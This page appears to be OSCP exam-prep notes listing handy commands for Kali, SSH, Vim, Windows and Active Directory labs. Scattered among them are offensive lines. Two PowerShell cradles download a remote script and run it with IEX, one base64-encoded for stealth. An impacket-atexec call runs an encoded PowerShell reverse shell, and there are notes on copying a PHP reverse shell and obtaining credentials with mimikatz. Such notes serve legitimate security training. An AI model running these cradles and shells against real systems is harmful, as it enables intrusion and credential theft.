> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/misc/useful-commands.md).
# Useful Commands
Enable Shared Folder on Kali VM
```bash
sudo vmhgfs-fuse .host:/ /mnt/hgfs/ -o allow_other -o uid=1000
```
Local Cyberchef on port 7777
```
docker run -d -p 7777:8080 ghcr.io/gchq/cyberchef:latest
```
Powershell Download Cradle (Download & Execute)
```powershell
iex (New-Object Net.Webclient).DownloadString("http://IP/File")
```
SSH Legacy Connect
```bash
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss -p 22000 j0hn@10.11.1.252
```
Running cmd.exe as admin user
```bash
powershell.exe Start-Process cmd.exe -Verb runAs
```
OR
* Win-R --> `cmd.exe` --> Ctrl-Shift-Enter
SSH
### SSH with specified private key
```bash
chmod 400 /home/kali/.ssh/id_rsa
ssh barry@10.11.67.208 -i /home/kali/.ssh/id_rsa
```
### Don't save SSH hostkey into known hosts
```bash
ssh student@192.168.131.52 -p 2222 -o "UserKnownHostsFile=/dev/null"
```
### Starts SSH server
```bash
systemctl start ssh
```
### To troubleshoot SSH configurations
```bash
/usr/sbin/sshd -T
```
### To show SSH config
```bash
vim /etc/ssh/sshd_config
```
Linux Netw Config
```bash
ifconfig eth1 192.168.200.10 netmask 255.255.255.0
ip route add 192.168.200.0/24 dev eth1
route add default gw 192.168.100.104 eth1
```
Search for exploits
```bash
searchsploit "Sync Breeze Enterprise 10.0.28"
```
```bash
searchsploit -m 42341
```
Vim
### Replace all occurrences from first line to last line.
```bash
:0,$s/search_term/replace_term/g
```
It has the syntax `:start_line_number,end_line_number s///g`
### Match everything until colon (useful for cleaning hashes)
```regex
^[^:]*:
```
### Fix Indentation Error (python script)
```bash
gg=G
```
cURL POST Request
```bash
curl -X POST --data "code=2+2" http://192.168.120.36:50000/verify
```
Install Perl Packages
```bash
cpan install Package::Name
```
Copy File Contents To Clipboard
```bash
xclip -selection c /usr/share/webshells/php/php-reverse-shell.php
```
Terminator Shortcuts
* Ctrl-Shift-E: Split the view vertically.
* Ctrl-Shift-O: Split the view horizontally.
* Ctrl-Shift-P: Focus on the previous view.
* Ctrl-Shift-N: Focus on the next view.
* Ctrl-D: Close the view where the focus is on.
* Ctrl-Shift-Q: Exit terminator.
Command Prompt Disabled By Administrator
* Upload
* Run `cmd.exe` locally
Modifying Windows PATH
```bash
set PATH=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;%PATH%
```
Remove Windows Directory Recursively
```bash
rmdir /s /q c:\temp
```
CMD Windows Recursive Directory Listing
```bash
dir /s /b
```
Error Connecting via xfreerdp
```bash
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:rdp
# OR, if having a different connect error, also try:
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:tls
# and if you want to have files and clipboard there:
xfreerdp +clipboard /u:user /p:'password' /v:X.X.X.X /d:domain /sec: /drive:,/
```
Saving Terminal Commands
```bash
script
exit
```
Snipping Tool (Ctrl-Win-S) Pic Location
```bash
C:\Users\%USERNAME%\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState
```
Fixing gcc: error trying to exec ‘cc1’: execvp: No such file or directory
```bash
carlos@malbec:/home/carlos$ gcc root.c -o libmalbec.so -shared -fPIC -w
gcc: error trying to exec ‘cc1’: execvp: No such file or directory
# PATH variable has not been exported.
# To fix this, we'll export this variable.
carlos@malbec:/home/carlos$ export
declare -x LS_COLORS=""
declare -x OLDPWD
declare -x PWD="/home/carlos"
declare -x SHLVL="1"
declare -x TERM="xterm"
carlos@malbec:/home/carlos$ export PATH
carlos@malbec:/home/carlos$ export
declare -x LS_COLORS=""
declare -x OLDPWD
declare -x PATH="/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:."
declare -x PWD="/home/carlos"
declare -x SHLVL="1"
declare -x TERM="xterm"
```
Can't recognize 'whoami' as an internal or external command, or batch script.
```bash
Z:\home\carlos>whoami
Can't recognize 'whoami' as an internal or external command, or batch script.
# --> use linux x86 payload instead!!!
```
Sudo (ALL) NOPASSWD: ALL to root account
```bash
sudo bash -i
```
List al the available MSFVenom payloads
```bash
msfvenom --help-formats
```
scp: Received message too long || scp: Ensure the remote shell produces no output for non-interactive sessions.
Means victim is running legacy SCP server --> req us to use legacy SCP protocol
* `-O` switch
```bash
scp -O -i id_rsa authorized_keys max@192.168.199.100:/home/max/.ssh/authorized_keys
```
B64 Encoding Using Powershell
```powershell
$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
```
Print Specified lines
```bash
# Single line 43
sed -n 43p shellcoderunner.ps1
# Lines 45-52
sed -n 45,52p shellcode_runner_template.cs
```
Running CMD as Admin CMD
```powershell
powershell -Command "Start-Process cmd -Verb RunAs"
```
Change Linux Owner
Change to Kali, from root
```bash
chown -hR kali .
```
John Pot File
```bash
~/.john/john.pot
```
Difference in TTL for Ping
```
TTL: 63 --> Linux
TTL: 127 --> Windows
```
NT Auth Vs NT System
NT Auth --> computer object part of AD --> mimikatz will obtain domain creds
NT System (Local Admin):
* If on Domain Controller --> will obtain domain creds
* If on non-DC --> will only obtain local creds
nxcdb (NetExec Database)
```bash
nxcdb
workspace create
proto smb
creds
```
```bash
workspace list
```
Fixing KRB_AP_ERR_SKEW(Clock skew too great) error
```
sudo rdate -n 10.10.11.147
```
Fixing KDC_ERR_WRONG_REALM error
```bash
# WRONG (USING IP ADDR) FOR KERBEROS AUTH:
nxc smb 10.10.11.168 -u miscsvc -p ScrambledEggs9900 -k --shares
# RIGHT (USING FQDN)
nxc smb dc1.scrm.local -u miscsvc -p ScrambledEggs9900 -k --shares
```
In /etc/hosts (must be like this):
```
10.10.11.168 dc1.scrm.local scrm.local
```
Filter to get only unique entries in a file
```bash
sort hashes | uniq > uniq_hashes
```
Decrypting PSCredentials
* If the current user encrypted the file, we can decrypt it:
```powershell
$EncString = ""
$SecureString = ConvertTo-SecureString $EncString
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "username",$SecureString
# Store the decrypted passsword to `$password` variable.
$password = echo $Credential.GetNetworkCredential().password
# View the password
$password
```
PSExec Being Blocked? (Use impacket-atexec)
```bash
# Upgrade shell to meterpreter/simple ps revshell
impacket-atexec administrator:''@10.10.158.54 "powershell -e SQBFAF…"
```
If Libcrypto error in SSH
Ensure that the id\_rsa file has one newline (mandatory!)
Youtube Downloader for Playlist
```bash
d:\firefox_download\yt-dlp.exe www.youtube.com/watch?list=PLPBVZbjvnjVkIgFavcRiBKbDSricFJeoD -f bestvideo+bestaudio --merge-output-format mkv
```
Fixing missing VMware shared folder in Kali
Follow steps in:
```bash
# Install VMware Tools
sudo apt install open-vm-tools open-vm-tools-desktop -y
# Display the list of shared folders you have enabled
vmware-hgfsclient *
# Back up /etc/fstab first to avoid problems if something goes wrong
sudo cp /etc/fstab /etc/fstab.bak
vim /etc/fstab
# Append following line to /etc/fstab
vmhgfs-fuse /mnt/hgfs fuse defaults,allow_other,_netdev 0 0
# Save the file and reboot VM --> Shared Folder in /mnt/hgfs
```